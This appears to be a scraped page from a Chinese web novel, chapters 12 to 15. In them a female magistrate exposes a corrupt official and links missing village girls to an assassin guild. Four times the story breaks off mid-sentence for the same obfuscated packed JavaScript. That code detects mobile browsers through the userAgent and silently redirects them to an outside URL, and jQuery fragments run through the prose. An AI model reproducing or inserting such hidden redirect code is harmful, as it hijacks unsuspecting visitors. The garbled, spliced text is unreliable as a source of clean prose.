l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907769|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在呢,她知道您今晚要来,一早就焚香沐浴,专门等着您呢。” 陆映澜十分满意,往桃枝的房中走去。 一进房门,陆映澜便觉得桃枝姑娘今日格外热情,不仅主动聊天,还频频劝酒。 房中也不知点的什么香,让他心情畅快,比平日多喝了许多。 感觉快喝醉的时候,陆映澜道:“今日就喝到这儿吧,我们安歇吧。” 桃枝却笑道:“陆爷,您的酒量可不止这么点。今日我拿来的可是上好的梨花白,您可得赏脸多喝些。” 美人在怀,陆映澜有些飘飘然,又被灌了几杯酒。 这下,他是彻底喝醉了,也控制不住自己了。 有些人发酒疯是大喊大叫,而他不一样。 他脱光了自己的衣服,站到春风楼正中央的舞台上,开始跳起舞来。 来往的宾客、姑娘们,都惊讶地看着他赤身跳舞。 他还沾沾自喜,以为自己跳得好,才吸引了众多目光。 “你们看我跳舞,为何不给赏钱?” 许多人在偷偷地笑。 有些促狭的客人还真的往舞台上扔了一些铜板,陆映澜俯身捡起来。 还有的人认出了他,喊道:“陆大人,你穿条裤子吧!” 陆映澜斜着眼道:“裤子?什么裤子?” 又是引得众人一阵大笑。 桃枝姑娘站在二楼看着这一幕,只觉得十分辣眼睛,但又很滑稽,忍不住多看几眼。 她本来也不敢这样捉弄陆映澜,可是孟荀给得实在太多了。 桃枝本来也不喜欢陆映澜,陆映澜其人傲慢难伺候,而且总是用一种居高临下的态度对待女人。喜欢的时候还给几分好脸色,不喜欢了就弃如敝屣。 桃枝有个好姐妹,伺候过陆映澜几回,怀了他的孩子,结果被陆映澜硬生生给踹没了。 桃枝身在青楼,没法选择客人,但有人花钱请她捉弄陆映澜,她还是很愿意的。 陆映澜醉得厉害,不知道自己在出丑,见众人都盯着他看,跳得更起劲了。 恰好今日有个话本先生也在春风楼,见到这一幕,大喜道:“新故事有了,今晚熬个夜,明日就把这陆大人的风姿传唱出去,必能大赚一笔。” 后来,还是陆映澜的家丁发现了,赶紧跑上舞台,给陆映澜胡乱穿了衣服,强行带他回家,才避免了继续丢人。 第二天,那话本先生写的《陆长史酒后春风舞》就在各大酒楼、戏馆传开了。 就连在外地办案的雍州刺史,也有所耳闻。 刺史派人传话,说陆映澜有伤风化,有损官声,罚他三月俸禄,并禁足在家,不得外出。 而又有人向刺史告发陆映澜的其他错处,比如让青楼歌姬怀孕却将其踹流产、跟其他官员的外室有染、强迫卖艺不卖身的桃枝姑娘伺候他等种种罪状。 刺史勃然大怒,夺去陆映澜的长史之位,让他回到老家。而雍州长史之位,就由雍州司马元澄担任。 至于向刺史告发陆映澜的人是不是元澄安排,那就只有他自己知道了。 12. 迷雾重重县令丢衣 人心惶惶景佑失踪 几天之内,就完成了陆映澜出丑、被夺去官职、元澄上位之事,云水谣和孟荀只觉得出了一口恶气。 孟荀买了许多好酒好菜,在云水谣房中庆祝,笑道:“这个陆映澜,叫他觊觎我们,沦落到这个地步真是活该!” “他能被夺官,也离不开元澄的暗中操作。看来元澄也不是个省油的灯。” “管他呢,只要陆映澜得到教训便好。我刚才去看了,陆映澜被官差押着,灰溜溜地走了,连正眼也不敢瞧我。” “这次也要多亏你出钱,收□□风楼的桃枝姑娘,她才肯帮我们。若是没有你在,仅凭我自己,是没有这个财力的。” “小事,别放在心上。你们家要是没落难,你也很有钱啊。而且,做官时间久了,积攒俸禄,将来也会慢慢有存款的。你要是缺钱,随时写信给我,我会借你的。” “谢谢啦,没有你我可怎么活啊。” “是啊,我可是个大财主,你可要巴结好我。” 她们正说笑着,下人来报:“元长史来拜。” 得知元澄来了,云水谣和孟荀赶紧去客厅接待。 元澄道:“两位县令托我查的事,有结果了。除了洛县和卫县之外,并无其他县有大量少女失踪的情况。” 云水谣和孟荀有些失望,本想联合其他县令一起破案的,现在也只能靠她们两人了。 正事解决,她们俩便上路,准备回自己的县里。 路上,她们仍旧结伴同行。 孟荀道:“只有我们两个县有这种情况,莫非之前的猜测错误?我们两县每年失踪的少女也才二十来个,这对于一个庞大的幕后组织来说,似乎太少了点。” “也许,雍州其他县没有,但另外的州县有呢?如果幕后黑手只逮着雍州的县来作案,雍州长官们也会发现端倪,引起重视的。” “你分析得有理,看来那幕后之人十分谨慎。只是不知他们所谋何事。你说,他们该不会是吃人吧?少女的肉比较嫩,所以他们专抓少女。” “失踪的都是农村贫穷人家的少女,身上没什么肉,也不好吃啊。” “那倒也是。唉,真希望凶手自己跳到我面前,我也省些力气。” “你还是别异想天开了。” “阿谣,现在我们怎么查呢?” “只能等有新的少女失踪时,我们马上追查,把人救回来,顺便把拐走女孩的人抓住,逼问他们的老巢。” “那要等多久?万一他们两三年都不犯案呢?” “我觉得不会。去年我们两县都还有女孩失踪,说明那个组织还在。今年肯定还会卷土重来的。” “嗯。那我们就通过飞鸽传书来联系吧,正好我养了几只鸽子。” “好。” 两个县都还有一堆公务要处理,云水谣和孟荀又在雍州城耽误了好多天的功夫,因此都急着回去,昼夜赶路。 赶了两天路后,实在累得受不了了,她们才找了家旅店歇息。 此时已是黄昏时分,她们在一楼吃饭,让伙计把行李搬到二楼的房间去。 吃完饭后,众人都挺累的,也没到处逛逛,直接回房休息了。 云水谣和孟荀住一间,其他护卫是五人一间,他们一行人一共住了五六间房。 云水谣铺好床后,孟荀直接往床上一躺,呈一个“大”字形,把床都占满了。 她一边躺着,一边感叹:“这床还挺舒服的。” 云水谣笑道:“你让开一点,我也要睡。” “我不让……哎哟,我肚子疼。” “怎么了?” “可能是赶路的时候,灌了太多冷风进肚子里。” “我带了药,找出来给你吃一点。” 云水谣去翻自己的包裹,找出了胃药,但却发出一声惊呼:“糟了,我的衣服少了一套!” 孟荀从床上跳了起来:“少了衣服?还少了什么?” “没有了,其他东西还在。你先把药吃了吧。” 孟荀把药丸囫囵吞下,感觉好多了,便问道:“你的衣服丢在哪了?如果咱们房间进贼了,他为什么不把所有东西拿走呢?” “是啊,我也觉得奇怪。” 云水谣把包袱左翻右翻,确定没有少其他东西,便猜想是不是自己之前把衣服换洗了,忘了带上。 可是,又没什么印象了。 她实在没精力了,管不了这种小事,倒头就睡。 云水谣正睡得沉,忽然听见有人敲门。她正眼一看,已经天黑了,不知现在是什么时辰。 只听门外有人叫道:“云大人,您在这里吗?” 听声音是自己的护卫。 云水谣怕吵醒孟荀,便走到门边,打开房门,问道:“怎么了?” “云大人,景佑不见了!” “什么?他去哪里了?” “小人等也不知道。我们五人一间,景佑出去上茅房,可是一直没回来。刚才我也去上茅房,却没见到景佑,这才来问大人。是否要出去找他?” “你们都去找找,要小心行事。” “是。” 护卫领命而去,过了一会,住着护卫的房门都打开了,所有护卫集体出发,往不同的方向去找景佑。 云水谣心中十分担忧,恨不能自己去找人。可是自己没有武功,贸然出去恐有危险,反而会拖累旁人。 因此,她在走廊里踱来踱去。她没有进屋,因为孟荀睡得正香。 这时,店小二来给其他房间的客人送东西,云水谣拦住他:“你可有见到我的护卫,一个男生女相、戴着白玉发簪的年轻人,他的个子是我们当中最高的。” 小二道:“吃饭的时候见过,后来你们各自回房,我就没见过了。” “那你可有见到他出去?” “小人刚才一直在厨房里忙碌,没有出来,什么都没见到。” 云水谣刚想放小二走,忽然想起什么,问道:“我丢了一套衣服,你可有看见我的房间进过贼?” “没有。姑娘丢了衣服,是否要报官?” 云水谣苦笑,她自己就是官。 她摆摆手让店小二离开。 她刚才是突然想起自己丢衣服的事,所以才问问。 按理说她现在着急景佑的失踪,不应该关心衣服丢了这种小事。 可是她有一种感觉,自己衣服丢失,似乎跟景佑的失踪有关。 至于具体是什么关联,她却想不明白。 外头的动静终究是惊醒了孟荀,她穿好衣服走了出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907770|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“阿谣,怎么了?” “景佑不见了,我让其他护卫去找了。” 看出云水谣的着急,孟荀轻轻握住她的手以示安慰。 “阿谣,你跟那个景佑是不是认识很久了?我看这一路上,你挺关心他的。” “没有,我们只是上下级关系而已。他是我救的,所以我对他熟悉一些而已。” 孟荀心思单纯,云水谣怎么说,她就怎么信。 可云水谣自己却是不确定的。她对景佑真的只是上司对下属的关怀之情吗? 她觉得心有些乱,深呼吸了几次,让自己静下来。 大约半个时辰后,云水谣听见远处有熟悉的脚步声传来。回头一看,见景佑背着一个蓝衣人,踏着屋檐飞过来。 景佑浑身是血,看来是经过一场大战。 很快,他就到了云水谣面前,把肩上背着的蓝衣人扔在地上。 看见云水谣,景佑眼中闪过一丝庆幸。他是庆幸自己还活着?还是庆幸自己还能见到云水谣? 云水谣来不及细想,问道:“景佑,方才发生了什么?这个蓝衣人是怎么回事?” 景佑简单解释了一下原委。 大约一个时辰前,景佑起来上茅房,却发现有个酷似云水谣的女子被一个蓝衣人劫持。 当时天黑,那女子又穿着云水谣的衣服,身量也跟云水谣相似,景佑以为云水谣真的被劫持,就追了过去。 那蓝衣人劫持着假云水谣越跑越快,景佑紧追不舍,渐渐来到一片荒山。 这时,有许多蓝衣杀手跳了出来,围攻景佑。 还有那假的云水谣,也攻击景佑。景佑这才发现,那女子不是云水谣,只是穿着云水谣的衣服而已。 察觉到自己上当了,他也只能跟这些蓝衣杀手打斗。 这次的蓝衣杀手比上次的更厉害,景佑打了半个时辰后,杀了几个。 剩下的蓝衣杀手自知不敌,把同伴的尸体背在身上,就逃走了。 景佑觉得自己屡遭追杀,必须探清这些蓝衣杀手的身份,因此他飞快地抢了一具蓝衣杀手的尸体,朝客栈这边飞来。 云水谣惊讶道:“怪不得我的衣服丢了一套,原来对方却是为了做这个局。那些蓝衣杀手明明已经失去你的踪迹了,怎么又突然找到你了?” 景佑摇头:“属下也不知道。而且,我感觉这次的蓝衣杀手不是上次的那一批,他们的武功招式有所不同。” 云水谣若有所思:“是吗……看来这群蓝衣杀手有一个很庞大的组织。只是,你为何不抓个活口,反而带回一具尸体?” “当时十分仓促,我来不及抓活的,只抢到这具尸体。我想,从尸体上应该也能找到一些线索。” “嗯,先看看吧。” 这些蓝衣人都是蒙面的,云水谣解开那蓝衣尸体的面纱,发现她面庞柔和,皮肤细腻,似乎是个女子。 云水谣又摸了摸她的身体,果然是个女的。 孟荀也走过来看,喃喃自语:“女杀手可不多见啊……这杀手长得一点也不好看,脸上有个胎记,下巴有颗痣。” 孟荀本是随口一说,云水谣却忽然有些震惊。 她仔细观察着这个死去的女杀手,忽然想到了什么:“莫非是她?” 13. 少女归乡空惆怅 景佑辞别引愁肠 孟荀问道:“她是谁啊?你认识?” “我不认识,但是我猜,她可能是失踪了二十年的王杜娟。” “王杜娟?就是少女连环失踪案第一个失踪的女孩?” “对,前些日子我找到王杜娟的家人,他说王杜鹃下巴有痣,右脸上有圆形胎记……” 孟荀摇头:“我觉得不会吧,那个王杜鹃只是个贫民女孩,怎么会突然变成这么厉害的女杀手呢?” “这就是女孩连环失踪的原因。” “什么原因?” “有个杀手组织靠杀人盈利,但是杀手死亡率太高,他们必须源源不断地补充新人进去。而最适合成为下一代杀手的,就是那些农村女孩。那些女孩年纪小,正是练武的好时候。 “又是农民的女儿,在家不受重视,即便丢了,父母也不会费力寻找。如果他们抓的是小男孩,或是有钱有势人家的孩子,他们的父母必定会倾力寻找,会给这背后的组织带来不小的麻烦。 “而他们在各地分散作案,也是为了不引人注意,减少被官府侦破的可能性。据我推测,他们掳走小女孩,绝不会只在我们两个县,可能在别的州县也有,但相隔较远,各个州县长官之间难以互通消息,发现其中的联系。” 孟荀恍然大悟:“你分析得对极了!照这么说,我们两个县失踪的女孩,应该都进了那个杀手组织了。可惜这女杀手死了,不然就能逼问出杀手组织的所在。” 云水谣点头:“不过,这些只是猜测,还是得先确认一下。我先把这女杀手的尸体带回圆石村,让乡亲们辨认一下她是不是王杜鹃。如果是,那离我们破案又进了一大步。” 这时,出去找景佑的护卫们也都回来了。 孟荀道:“既然案子有了眉目,景佑也找回来了,我就先去睡觉了。可累死我了。” “这具女尸放在护卫房中多有不便,要不放我们房间?” “好,反正她已经死了,害不了人了。” 于是,众护卫把女杀手的尸体搬进了云水谣的房间。 其他护卫也去睡觉了,走廊上只剩下云水谣和景佑两人。 云水谣关切地问道:“景佑,你没事吧?你是不是流了好多血?” “大部分是别人的血,我只受了点皮外伤。” “你在这儿等着,我拿伤药给你。” 云水谣跑进房间,拿出所有疗伤药,出来时看见景佑面朝月光而立,巍峨如松柏。即便身染血色,也无减于他的风采。 云水谣把伤药塞给他,想说点什么,但心又跳得太快。 她觉得自己还是什么都不说为好,便打算回房。 景佑忽然开口:“大人,我想离开一段时间。” “离开?为什么?” “那些杀手已经重新找上了我,如果我不走,怕会连累大人。” “不行,你不能走。” “为何?” “因为我……我需要护卫。而且,你一个人离开,太危险了。” “大人身边已有护卫,我不在也一样。只有我离开,才能保证大人的安全。” 云水谣知道他说的有理,可是她怎么能眼看着景佑一个人步入未知的危险? 即便景佑只是一个普通的护卫,她也做不出这种事。 她想了想,挽留道:“我身边还有很多衙役和护卫,你留在这儿,他们也能保护你的。那个蓝衣杀手的组织很庞大,他们既然要你的性命,肯定会不停地追杀你,你一个人离开真的很危险。” “我不能拖累其他衙役和护卫。大人,我走之后你要保重。” “可是……我已经在查蓝衣杀手的组织了,你不怕我被他们报复追杀吗?你留在我身边,才能保证我的安全。” 这一点,景佑倒没考虑到。 他离开是为了保证云水谣的安全,可是云水谣要查的案子,跟那个杀手组织息息相关。 她早就不安全了。 他们的命运,早就绑在了一起。 景佑看着面前的少女,眼中闪过无限的担忧。 也许,留在云水谣身边,尽快侦破这个杀手组织,才是正确的。 他决定留下后,忽然觉得心中的大石落下了。 刚才他执意要走时,只觉得自己的心像是被人用力扯着,很疼很疼。 他留下,只是因为自己离开也没法保证云水谣的安全,倒不如跟她同舟共济。 他不停地给自己找理由,可是他不敢去想,真正的理由只有一个,那就是他的心选择留下来。 “大人,您说得对,我还是留下吧。我会助大人尽快侦破此案。” “真的?” 云水谣有些激动,眼中闪着泪花。 她也不知道自己是怎么了,景佑只是一个护卫……可是,对她来说,又不仅仅是护卫。 她觉得景佑很重要,她不愿意跟景佑分开。 景佑得保护她一辈子,谁让自己对他有救命之恩呢。 景佑看向她,眼中似乎有些关切:“大人,天色已晚,您快睡吧。” “那……你记得涂药啊。” “我会的。” 云水谣回到房间躺着,心跳如鼓。 她试着深呼吸,可是心始终无法静下来。 也不知道景佑现在在干什么,是不是在涂药,是否有涂不到的地方…… 她一会担忧,一会高兴,一会又患得患失。 想着想着,脸颊渐渐烫了起来。 忽然,她觉得自己漏了一件很重要的事。 景佑自从来到她身边后,杀手就没再出现了。可是今天却突然出现,到底是为什么…… 云水谣觉得自己快想到真相了,可一些灵感在脑中一闪而过,不太清晰。 她有些头疼,只得先睡觉。 她们继续赶路,来到了卫县和洛县的交界处。 县令无事不能随便去别的县,孟荀便留在了卫县,在城门口送别云水谣。 她拿了两只信鸽给云水谣,道:“阿谣,你那边要是有什么进展,就用信鸽通知我。” “嗯。” “对了,那具女杀手的尸体呢?” “为免引人注目,我让景佑把那具尸体装在一个大袋子里,伪装成货物,先行带走了。现在应该已经在圆石村里。” “好,那你先去查查女杀手的身份。” 走过卫县的城墙后,便来到洛县的圆石村。 景佑在一个山坳处等着,身边放着个大袋子,里面是女杀手的尸体。 “大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907771|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们现在把这尸体拿出来吗?” “还是别让太多人瞧见了,免得引起恐慌。去把王杜鹃的弟弟找来,还有村里那几个记得王杜鹃的老人,也一并找来辨认。” “好。” 很快,王杜娟的弟弟王成,还有几个老人,便一起过来了。 云水谣打开袋子,露出那女杀手的尸体,问道:“你们看这个人,可像王杜娟?虽然她已经失踪二十年了,但应该跟父母有点相像吧?” 王杜鹃的弟弟王成有些激动:“她……她长得跟我娘好像……而且她脸上有胎记和痣,位置跟我姐姐一模一样……我觉得她就是我的姐姐王杜鹃……大人,她为何死了?” “说来话长,待会再解释。” 云水谣询问了其他老人的意见,他们都持相同的观点。 “大人,这具女尸不仅像王杜娟她娘,也有几分像王杜娟她爹啊。我看,八成就是王杜鹃本人了。” “她都失踪二十年了,没想到还能找到,大人果真厉害啊。可惜她死了,唉……” 云水谣见他们这么说,便知道自己的猜测八九不离十了。 这二十年来失踪的女童,果然是被那个杀手组织抓走,培养成杀手了。 自己总算带王杜娟回家了,可惜她却再也见不到家乡的父老乡亲了。 云水谣觉得有些难过。她必须加快破案的进度,把其他没死的女孩救出来。 只是,还有个问题。这些女孩被掳走之后,既被培养成杀手,很有可能已经杀过人了。 即便把她们都找回来,也要依法判处她们死刑。 云水谣心中很矛盾。 不管如何,先找到人再说。 云水谣告诉这几个村民,让他们别把这事宣扬出去。 王杜鹃的弟弟请求把姐姐的尸首带走埋葬,云水谣道:“本官还要从你姐姐身上查一些东西,暂时不能把尸首交给你。你放心,本官会妥善保存她的尸身,不会损坏的。” 王成哭着叩谢:“多谢大人。” 他又询问他姐姐是怎么死的,云水谣只说由于案件未查清,暂时不能明说。 她现在不想让王成知道他姐姐成了杀手,被景佑所杀,这对王成来说太残忍了。 云水谣和景佑便将王杜娟的尸体带回了县衙,把之前发生的事简单告知了众位属官。 属官们纷纷恭喜云水谣,并说道:“大人,既然失踪的王杜娟已经找到,这个案子可以结案了。衙门里还有很多事务等着大人处理。” 云水谣反对:“王杜娟一案不能这么简单地结案,我总觉得其他女孩的失踪案也跟这有关,可能她们是被同一个组织掳走的。只有消灭那个组织,才能算真正破案。” 可是,大部分属官均不赞成。 “大人,那些失踪的女孩互相之间都没关系,怎么可能去了同一个地方?而且,连她们的父母都不找了,您也别费这个劲了。” “是啊大人,王杜娟已死,若是不将她安葬,只怕会引起外界猜测,影响您的名声。” “没错,王杜娟成为杀手,不代表其他女孩也成了杀手。她们一定是被不同的人掳走,根本无从查起。” “连前几任县官都放弃的事,您就别追查了,还有更重要的事等着您做呢。” 14. 县令追查蓝布料 景佑探听百尺楼 云水谣反驳:“纵然那些女孩的父母不找她们了,可本县身为父母官,怎么能置之不理?她们的家人不在乎她们,本官在乎。而且,本官猜测这些女孩被同一个组织掳走,是有依据的,不是凭空猜测。这件事,本官会追查到底。” 见云水谣坚持,属官们也都不敢说什么了。 县丞林复道:“大人,监察御史马上就要来了,我觉得您这些天还是熟悉一下县里的其他公务为好。少女失踪案,已经拖了这么多年,不在这一天两天的。” “不,我已经摸到案子的门槛了,不能拖延。至于监察御史前来巡查的事,就有劳林公和诸位大人多多帮忙了。” 虽然最近没有新的少女失踪案发生,但是这个案子其实是很紧急的。 晚一天破案,说不定那些被掳走的女孩就会多杀一人,或是被人杀死。 在她看不见的地方,那些女孩正在刀口舔血,或是被关在暗无天日的地方日夜训练,不被当人看。 现在唯一的线索,就是死去的王杜娟了。 还好现在天气较冷,尸体能保存较长时间。 县衙里有冰库,云水谣便把王杜娟的尸体放进冰库中。 仵作的病还没好,没法到这么冷的地方来验尸,因此这次给王杜娟验尸的,还是景佑。 云水谣把自己全身包裹得严严实实的,就连双手都戴上了毛绒手套,倒是不怎么冷。 景佑穿得不多,但他气息如常,似乎也不怕冷。 看来,练武之人的体格跟普通人就是不一样。 景佑并未解剖尸体,只是大致地看了看尸体的外表。 云水谣问:“有什么发现吗?” “她身上有一些伤痕,形成时间不一,应该是长年累月战斗留下的。双手有老茧,手部骨骼比寻常女子粗些,应该是练武导致的。初步判断,她应该练武二十年左右,参与战斗也有十来年了。其他方面倒是没什么。” “这跟我猜测的一致,那幕后组织就是把这些女孩训练成杀人工具的。我想,既然这些蓝衣杀手已成规模,江湖上应该流传着他们的传说,不如去打听一下有什么组织是穿蓝衣、专门接杀人案子的。” “大人考虑得是,我之前虽行走江湖,但是时间不长,对很多江湖势力不太了解。这些天我联络一下江湖上的朋友,向他们打听一下。” “嗯。” 验完尸后,他们走出了冰库。 丫环兰心立刻捧来两碗姜汤,让云水谣和景佑喝下。 云水谣笑道:“你倒细心,不过我不需要。” “小姐,您在冰库这么长时间,还是喝点姜汤驱驱寒吧。等冻生病了就迟了。其实我也没想到要熬姜汤,是景佑提醒我的。” 云水谣朝景佑看去,景佑只是淡淡地看了云水谣一眼,便埋头喝姜汤。 云水谣觉得他还挺细心的,只是平时总有几分冷漠,云水谣也拿不准景佑对她到底是什么心思。 她慢慢地喝着姜汤,觉得身心都暖洋洋的。 喝完后,云水谣忽然道:“我忽略了一件事。” 景佑问道:“什么事?” “那些蓝衣杀手都穿一样的衣服,那么那个幕后组织必然要用到很多蓝色布料。从布料这个线索去查,也许能有收获。” “但是全国各地的染坊、布行众多,也拿不准那个组织到底是从哪里买的布料。” “那个组织人多,每次买布的数量肯定特别大,我们只需去那种大布行、大染坊查问便好。” 景佑想了想,摇头道:“未必如大人所想。” “这话怎么说?” “首先,他们就算真的是从大布行进货,全国各地规模较大的布行、丝行和染坊也不少,我们人手不足,难以一一排查。其次,他们为了掩人耳目,连拐走孩子都知道分散作案,难道买布料就不会零星地买?每次只买一点,从不同地方购买,可能根本就不会出现很大的单子,更难排查。” “你说得对……” 事情似乎陷入了僵局,云水谣有些沮丧。 景佑道:“大人,我先去调查一下这个杀手组织究竟叫什么,有什么来历。” “好。” 景佑离开后,云水谣重新回到冰库,从死者身上割了一块衣料。 她想从这块衣料入手,推测这些杀手的衣服究竟是在哪里做的。 只是,这是普通的布料,很多地方都有卖。 她又拿起来闻了闻,也闻不出什么。 忽然她想到,狗的嗅觉比人灵敏,且自己能听懂动物说话,何不让狗来闻一闻? 于是,她询问县丞林复,县衙里可有养狗。 林复道:“县衙里有几只大狗,平日也作为缉盗、寻人之用。大人若需要,我去牵来。” “有劳了。” 过了一会,林复牵来两只大狗。 云水谣把它们带进屋里,关上门,左手拿着一大块肉,右手拿着布料,问道:“我这儿有两样东西,你们要哪一样?” 这两只狗“汪汪”地叫着,目光都朝肉看去,云水谣听出它们在说“想要肉”。 云水谣把肉扔给它们,它们一边吃肉一边说着狗语。 “这小姑娘让我们选,我们肯定选肉啊,布料又不能吃。” “是啊,而且这布料有一股蓝菊的气味,我也不喜欢。” 云水谣若有所思。 布料有蓝菊的气味,说明给布料染色时,用到了蓝菊这种材料。 她只需要调查一下,哪家染坊是用蓝菊来给布染色的。 地域不同,染坊用于染色的材料也不太一样,会带有地域特色。 云水谣去见县丞林复,问道:“林公,你可知哪里的染坊会用蓝菊来染蓝色的布?” 林复想了一会,道:“松江县盛产蓝菊,那里的染坊会用蓝菊来染蓝色的布。” “松江县大部分染坊都是如此吗?” “对。蓝菊在松江县极为廉价,所以当地的染坊都喜欢购买蓝菊作为染料。那里的蓝布也比其他布要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907772|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。” 云水谣推测,那幕后组织的总坛应该就在松江县,所以其成员才穿蓝衣,因为蓝布易得。 只是,松江县面积也挺大的,如果不知道确切地点,贸然搜查,只怕会打草惊蛇。 云水谣想了想,只有等到有新的少女被拐的时候,加以跟踪,才能找到他们的总坛。她修书一封,把自己的发现用飞鸽传书告诉了孟荀。 第二天,景佑便回来了,向云水谣报告:“大人,我跟江湖上的朋友打听了,他们说有个杀手组织百尺楼,其成员身穿蓝衣,似乎就是我们要找的组织。但是他们也不知道百尺楼的总坛在哪里。” “原来叫百尺楼……若是我们假装要雇佣百尺楼的杀手,是不是就能联络到他们了?” “百尺楼的规矩是找中间人下订单,交了定金之后,他们会派杀手去杀人,杀完之后提头来见,头颅也是通过中间人转交。从头至尾,见不到百尺楼的人,更不知道百尺楼的总坛所在。” “既然这样,那连百尺楼派的是哪些杀手都不知道?” “是的,雇主是见不到那些办事的杀手的。” “如果是这样,怎么判断他们是否把事情办成了?” “百尺楼成立几十年,很有信誉,接的单子基本上都办成了,如果没办成,也会退钱。所以,大部分人去下单不会怀疑他们的能力,只需要交钱,他们自会给你办事。” “原来如此。看来,只能等有新的女童失踪时,再去跟踪了。” 可是,这么一来,不知要等多久。 第二天,云水谣在去公堂的路上,又碰见了上次报案的小女孩四妞。 她问云水谣:“大人,您找到我姐姐徐二妞了吗?” 云水谣摸了摸她的头:“我已经有头绪了,会尽快找到她,你别担心。” 四妞非常相信云水谣,有些开心地离去了。 云水谣一连等了好几天,也没有等到新的女童失踪案。她心里有些着急,可没有办法。 这天,监察御史来了,云水谣赶紧率领各个属官去城门迎接。 监察御史虽是八品,但掌管着巡视郡县、监察百官的职责,可以直接上达天听,位卑而权重。因此,地方官员对于监察御史皆是以礼相待。 云水谣等人在城门口等了两个时辰,监察御史才姗姗来迟。他的排场很大,有二十多人鸣锣开道,坐的是四匹马拉的车,车身用的是安南国的紫檀木。 云水谣听说这次来的监察御史叫林益敬,便来到马车前,拱手道:“洛县县令云水谣,携众属官恭迎林御史。” 林益敬也没下马车,而是透过车身的竹帘打量着云水谣,带着几分不悦,说道:“按理,女孩的名字是不该告诉别人的。可你做了女官,见到其他官员必须自称姓名,这可把规矩体统都破坏了。如今这世道,我可是看不懂了。” 云水谣心中不快,但不得不答道:“林御史,我既为官员,自可将姓名大大方方地说出来,不必避讳什么。我若遮遮掩掩,反而不对。” 15. 御史面目可憎 将军言行任诞 林御史又说道:“女子为官,终究有些不妥。我看云大人面色红润,唇红齿白,想是花了不少时间在化妆上吧?女人就是女人,只知涂脂抹粉,不知处理政务。” 云水谣觉得这林御史挺过分的,她这段时间确实见过一些看不起女官的人,可没有一个人表现得这么明显。看来,这林御史仗着自己的身份,肆无忌惮。 云水谣不能给他留下坏印象,免得他回京之后参自己一本,便将脾气一压再压,答复道:“林御史,我并未在办公时间化妆,都是早起化妆的,并未耗费多少时间。我身为县官,若蓬头垢面,也有损官声,稍加修饰有何不可?自从我来到洛县,宵衣旰食,勤于政务,属官们都可作证。” 县丞林复也帮着云水谣说话:“林御史明鉴,云县令确实专心政务,认真勤勉,属下等都看在眼里。这段时间云县令处理的政务,也都记录在册,您可以翻看。” 闻言,林御史才不再为难云水谣。但他也没下车,而是让马车一路驶到县衙门口。云水谣等人只能步行跟随。 看这个林御史的谈吐和排场,云水谣判断他并不是一个刚正之人,官威倒是不小。一会他问起政务,自己还需小心应对。 马车停在门口,御史林益敬终于走了下来。他大腹便便,脚步虚浮,眼下乌黑,一看便是纵情声色、失于保养之人。 见到林益敬的脸时,云水谣吃了一惊,觉得有几分眼熟。她想了想,才发现这林御史的长相竟跟雍州司马元澄有九分相似。 之前云水谣和孟荀一起去雍州城,跟元澄打过交道,还记得他的模样。 属官们把林益敬迎进大堂,把最近一年的政务文册给他看。他却不急着翻看文册,而是慢悠悠地品茶:“这洛县的茶叶似乎不太好啊。” 县丞林复道:“御史大人,这是武夷山的红茶,是从那边的茶农手里买的,应该算是上品。您喝不惯?” 林益敬有些傲慢地说:“武夷山的红茶不是最好的,天水湖的红茶才是佳品。” “天水湖的红茶一向是贡品,小县没有啊。” “我想也是没有,贡茶岂是随便什么地方都能有的?就连我们林家,今年也才得了半斤。” “您家是将军府,深得陛下信任,陛下赐下的贡品对您家来说自然不算什么。” “不过是我爹能打仗罢了,陛下才多倚重几分。如今我爹年迈,幸而几个兄长得力,继续率兵打仗,才能延续家族荣光。” 云水谣已经开始皱眉,她不想再听这个林御史摆谱了,便转移话题道:“林御史,之前我见到一个人,长得跟您十分相似,便是雍州长史元澄。不知您可曾见过他?” 林益敬道:“他长得像我,自是正常,外甥像舅嘛。” “原来元长史是您的外甥。” “没错,他的母亲是我表妹。” 云水谣觉得有些奇怪。既然林御史不是元澄的亲舅舅,那怎会如此相似? 不过,既然有血缘关系,像也正常。 林御史又问了一些洛县的政务,并未问得很细,看起来并不关心这方面。 云水谣有答不上的,都由县丞林复作答。 林益敬也没问太多,随便翻了翻文册,便要休息了。云水谣等人自然给他准备了上房,不知他要待多久,总之这些天只能小心伺候着。 林益敬离开大堂前,似乎无意间朝云水谣身后的景佑瞥了一眼。云水谣心细如发,注意到了。 